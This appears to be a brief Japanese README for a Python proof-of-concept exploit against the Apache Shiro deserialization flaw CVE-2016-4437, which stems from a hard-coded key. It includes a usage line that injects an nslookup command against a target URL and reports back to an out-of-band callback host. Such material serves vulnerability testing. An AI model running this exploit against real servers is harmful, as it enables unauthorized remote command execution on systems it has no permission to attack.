CVE-2016-4437

ハードコードされた暗号鍵によるApache Shiroの逆シリアル化脆弱性CVE-2016-4437を悪用するPython PoC

使用例:

./CVE-2016-4437.py -c nslookup -u https://example.com/ -i ecsepnkqtxlishpynfdge01543e4vmx7v.oast.fun

詳細については、コメントとコードを参照してください。